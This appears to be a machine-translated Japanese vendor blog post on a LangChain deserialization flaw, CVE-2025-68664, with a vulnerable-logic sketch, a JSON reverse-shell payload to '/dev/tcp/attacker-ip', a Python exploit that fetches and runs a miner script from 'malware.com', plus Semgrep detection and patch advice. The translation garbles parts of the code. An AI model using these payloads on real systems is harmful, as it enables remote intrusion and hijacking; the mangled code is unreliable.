ペンリジェント・ヘッダー

核のオプションLangChainのシリアライズ・インジェクションCVE-2025-68664を深く掘り下げる

2025年のAI安全保障戦争では、情報開示が必要となる。 LangChain シリアル化インジェクションの脆弱性 CVE-2025-68664 を深さ一杯に打ち込む。プロンプト・インジェクションがアプリケーション層でモデルを「だます」ことだとすれば、CVE-2025-68664はインフラ層でサーバーを「所有」することだ。

エージェントAIの事実上のオーケストレーション標準として、LangChainのセキュリティ態勢は非常に重要です。CVE-2025-68664(CVSS9.8、クリティカル)は、フレームワークが複雑なエージェント状態の復元を処理する方法における基本的なアーキテクチャ上の欠陥を暴露しています: JSONオブジェクトのインスタンス化における制御の失敗.

この記事では、表面的な報道を放棄する。リバースエンジニアリング的な視点から、この記事を分析する。 ラングチェーンコア ソースコード、JSONからRCEまでの完全なコールチェーンを解体し、Blue Teamsにエンタープライズグレードの自動化ルールを提供します。

脆弱性の解剖:いつ ロード バックドアになる

LangChainのパワーはそのコンポーザビリティにあります。チェーンとエージェントの永続性をサポートするために、LangChainは以下を提供します。 ダンプド そして ロード メソッドを使うことで、PythonオブジェクトをJSONにシリアライズし、デシリアライズしてメモリに戻すことができます。

の根源である。 CVE-2025-68664 にある。 langchain-core/load/load.py モジュールが追加された。2025年パッチ以前のバージョンでは、ローダーはどのクラスをインスタンス化できるかを決定するために、マッピング・メカニズムに依存していました。しかし、このメカニズムにはロジックの欠陥がありました。 コンストラクタ タイプでは、ローダーはモジュール・パスの厳密な検証に失敗した。 アイドル フィールドを使用していました。これにより攻撃者は allowlist をバイパスし、任意の Python グローバルモジュールをロードすることができます。

ソースレベルの論理障害

影響を受けたバージョンでは、ローディング・ロジックはおおよそ次のようなものだった(わかりやすくするために簡略化している):

パイソン

# 脆弱なロジックの概念的表現 def load(obj, secrets_map=None): if isinstance(obj, dict) and "lc" in obj: # オブジェクトIDを取り出す、例えば ["langchain", "llms", "OpenAI"] lc_id = obj.get("id")

    # 脆弱性: 検査は存在するが、標準ライブラリをブロックできない
    # 攻撃者のペイロード["subprocess", "check_output"]が以下を通過する。
    if obj.get("type") == "constructor":
        return _load_constructor(lc_id, obj.get("kwargs"))`。

攻撃者は、特定の lc_id アレイで誘導する インポート のような)敏感なシステム・モジュールをロードする。 os, サブプロセス, システム)のコンストラクターに悪意のある引数を渡す。

兵器化完璧なRCEペイロードを作る

レッドチームの研究者にとって、ペイロードの構造を理解することは検証の鍵となる。CVE-2025-68664は、複雑なバイナリーのオーバーフローを必要とせず、正確なJSONのスニペットだけを必要とします。

フェーズ1:エクスプロイト・プロトタイプ(PoC)

電卓やリバースシェルをポップするように設計された標準的なJSONペイロードは次のようになる:

JSON

{ "lc":1, "type":"constructor", "id":["subprocess", "check_output"], "kwargs":kwargs": { "args":[bash", "-c", "bash -i >& /dev/tcp/attacker-ip/443 0>&1"], "shell": false }.}

フェーズ2:Pythonエクスプロイト・スクリプト

実際のシナリオでは、攻撃者はこのペイロードをウェブ・アプリケーションの "Import Config "エンドポイントやエージェントのメモリー・ストアに注入します。

パイソン

インポート リクエスト インポート json

LangChainシリアル化インジェクションCVE-2025-68664の深掘り

ターゲットLangChain設定ファイルを受け入れるAIエージェントサービス

url = "http://target-ai-service.com/api/v1/agent/import

payload = { "lc":1, "type":"constructor", "id":["subprocess", "run"], "kwargs":kwargs": { "args":["wget http://malware.com/miner.sh -O /tmp/x; sh /tmp/x"], "shell":true、"capture_output":真 }.}

悪意のあるシリアル化データの送信

langchain.load(json_data)を呼び出すと、サーバーがRCEを引き起こす。

r = requests.post(url, json=payload, headers={"Content-Type": "application/json"}) print(f "Attack Status: {r.status_code}")`。

AI主導の防御Penligentのディープ・オーディット・テクノロジー

従来のウェブスキャナ(NiktoやOWASP ZAPなど)は、JSONペイロードがPythonランタイムに与えるセマンティックな影響を理解できないため、通常CVE-2025-68664に対して失敗します。彼らは有効なJSONを見ますが、サーバーはコマンド実行命令を見ます。

そこで ペンリジェント がその技術的優位性を証明している。ペンリジェントは セマンティック・アウェアなシリアライゼーション監査:

  1. AST逆解析: PenligentのAIエージェントは、ただやみくもにファズを行うわけではありません。まずターゲットアプリケーションのAST(抽象構文木)を解析し、特定のLangChainバージョンとローディングロジックを特定します。安全でない ロード の呼び出しがコードベースにある。
  2. ダイナミック・サンドボックス検証: 検出中、Penligentは隔離されたマイクロVMでロードプロセスをシミュレートする。Canaryトークン」を含むシリアライズされたオブジェクトを注入します。オブジェクトがOOB(Out-of-Band)ネットワークリクエスト(DNSクエリ)のトリガーに成功すると、システムは誤検知ゼロで脆弱性を確認します。

企業のセキュリティチームにとって、Penligentは「コード・コミット」から「ランタイム・モニタリング」まで、悪意のあるAgentのコンフィギュレーションが本番環境に紛れ込まないよう、全方位の防御を提供します。

ブルーチーム・ハンドブック検出と修復

パッチを完全に展開する前に、ブルー・チームは攻撃の試みを特定するための検知ルールを必要とする。

1.Semgrep静的解析ルール

CI/CDパイプラインに以下のルールを追加し、コードベースに脆弱な呼び出しがないかスキャンする:

ヤムル

ルール:

  • id: langchain-unsafe-load パターン:
    • パターン:langchain.load.load(...)
    • pattern-not: langchain.load.load(..., valid_namespaces=["langchain"]) メッセージ:"安全でないLangChainのデシリアライズが検出されました。CVE-2025-68664によりRCEが可能です。valid_namespacesを制限するか、直ちにアップグレードしてください。" languages:[python] severity:ERROR`

2.緊急修復

プランA(推奨)アップグレードの依存関係

LangChainはlangchain-core >= 0.3.15でこのロジックを修正し、厳密なデフォルトのallowlistメカニズムを導入しました。

プランB(暫定):コード・ハードニング

すぐにアップグレードできない場合は、ロード機能のロード範囲を手動で制限する必要があります:

パイソン

`from langchain_core.load import load

langchain名前空間からのロードのみを強制的に許可する。

サブプロセス、OS、その他のシステムモジュールの拒否

safe_config = load( unsafe_json_data, valid_namespaces=["langchain", "langchain_community"] )` )

結論

LangChain シリアル化インジェクションの脆弱性 CVE-2025-68664 は、AIインフラのセキュリティは "暗黙の信頼 "では構築できないことを改めて証明している。LLMアプリケーションが "チャットボット "から "自律エージェント "へと進化するにつれて、シリアライゼーション、ステートストレージ、ツール起動を標的とする攻撃対象は指数関数的に拡大するだろう。

セキュリティー・エンジニアは、すべての背後にあるものを認識しなければならない。 ロード() 関数を使うと、シェルが待っているかもしれない。

信頼できるリファレンス

記事を共有する
関連記事
jaJapanese